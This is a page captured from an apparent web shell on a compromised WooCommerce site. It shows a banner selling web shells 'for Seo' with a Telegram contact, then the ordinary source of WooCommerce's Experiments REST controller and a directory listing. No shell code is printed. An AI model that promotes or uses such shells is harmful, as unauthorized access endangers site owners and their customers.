__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* REST API Experiment Controller
*
* Handles requests to /experiment
*/
namespace Automattic\WooCommerce\Admin\API;
defined( 'ABSPATH' ) || exit;
/**
* Data controller.
*
* @extends WC_REST_Data_Controller
*/
class Experiments extends \WC_REST_Data_Controller {
/**
* Endpoint namespace.
*
* @var string
*/
protected $namespace = 'wc-admin';
/**
* Route base.
*
* @var string
*/
protected $rest_base = 'experiments';
/**
* Register routes.
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/assignment',
array(
array(
'methods' => \WP_REST_Server::READABLE,
'callback' => array( $this, 'get_assignment' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Forward the experiment request to WP.com and return the WP.com response.
*
* @param \WP_REST_Request $request Request data.
*
* @return \WP_Error|\WP_REST_Response
*/
public function get_assignment( $request ) {
$args = $request->get_query_params();
if ( ! isset( $args['experiment_name'] ) ) {
return new \WP_Error(
'woocommerce_rest_experiment_name_required',
__( 'Sorry, experiment_name is required.', 'woocommerce' ),
array( 'status' => 400 )
);
}
unset( $args['rest_route'] );
$abtest = new \WooCommerce\Admin\Experimental_Abtest(
$request->get_param( 'anon_id' ) ?? '',
'woocommerce',
true, // set consent to true here since frontend has checked it already.
true // set true to send request as auth user.
);
$response = $abtest->request_assignment( $args );
if ( is_wp_error( $response ) ) {
return $response;
}
return json_decode( $response['body'], true );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AI | Folder | 0775 |
|
|
| Reports | Folder | 0775 |
|
|
| Templates | Folder | 0775 |
|
|
| Coupons.php | File | 2.15 KB | 0664 |
|
| CustomAttributeTraits.php | File | 3.4 KB | 0664 |
|
| Customers.php | File | 2.11 KB | 0664 |
|
| Data.php | File | 939 B | 0664 |
|
| DataCountries.php | File | 1.12 KB | 0664 |
|
| DataDownloadIPs.php | File | 4.15 KB | 0664 |
|
| Experiments.php | File | 1.82 KB | 0664 |
|
| Features.php | File | 1.7 KB | 0664 |
|
| Init.php | File | 10.42 KB | 0664 |
|
| LaunchYourStore.php | File | 5.15 KB | 0664 |
|
| Leaderboards.php | File | 18.22 KB | 0664 |
|
| Marketing.php | File | 4.84 KB | 0664 |
|
| MarketingCampaignTypes.php | File | 6.02 KB | 0664 |
|
| MarketingCampaigns.php | File | 9.64 KB | 0664 |
|
| MarketingChannels.php | File | 5.74 KB | 0664 |
|
| MarketingOverview.php | File | 3.36 KB | 0664 |
|
| MarketingRecommendations.php | File | 5.94 KB | 0664 |
|
| MobileAppMagicLink.php | File | 2.1 KB | 0664 |
|
| NoteActions.php | File | 2.39 KB | 0664 |
|
| Notes.php | File | 25.79 KB | 0664 |
|
| Notice.php | File | 2.38 KB | 0664 |
|
| OnboardingFreeExtensions.php | File | 2.58 KB | 0664 |
|
| OnboardingPlugins.php | File | 12.84 KB | 0664 |
|
| OnboardingProductTypes.php | File | 1.8 KB | 0664 |
|
| OnboardingProducts.php | File | 1.94 KB | 0664 |
|
| OnboardingProfile.php | File | 18.38 KB | 0664 |
|
| OnboardingTasks.php | File | 32.02 KB | 0664 |
|
| OnboardingThemes.php | File | 5.49 KB | 0664 |
|
| Options.php | File | 10 KB | 0664 |
|
| Orders.php | File | 10.13 KB | 0664 |
|
| PaymentGatewaySuggestions.php | File | 5.86 KB | 0664 |
|
| Plugins.php | File | 21.22 KB | 0664 |
|
| ProductAttributeTerms.php | File | 4.36 KB | 0664 |
|
| ProductAttributes.php | File | 4.46 KB | 0664 |
|
| ProductCategories.php | File | 458 B | 0664 |
|
| ProductForm.php | File | 3.06 KB | 0664 |
|
| ProductReviews.php | File | 1.3 KB | 0664 |
|
| ProductVariations.php | File | 6.03 KB | 0664 |
|
| Products.php | File | 9.73 KB | 0664 |
|
| ProductsLowInStock.php | File | 17.56 KB | 0664 |
|
| SettingOptions.php | File | 878 B | 0664 |
|
| Settings.php | File | 4.2 KB | 0664 |
|
| ShippingPartnerSuggestions.php | File | 5.74 KB | 0664 |
|
| Taxes.php | File | 4.9 KB | 0664 |
|
| Themes.php | File | 6.12 KB | 0664 |
|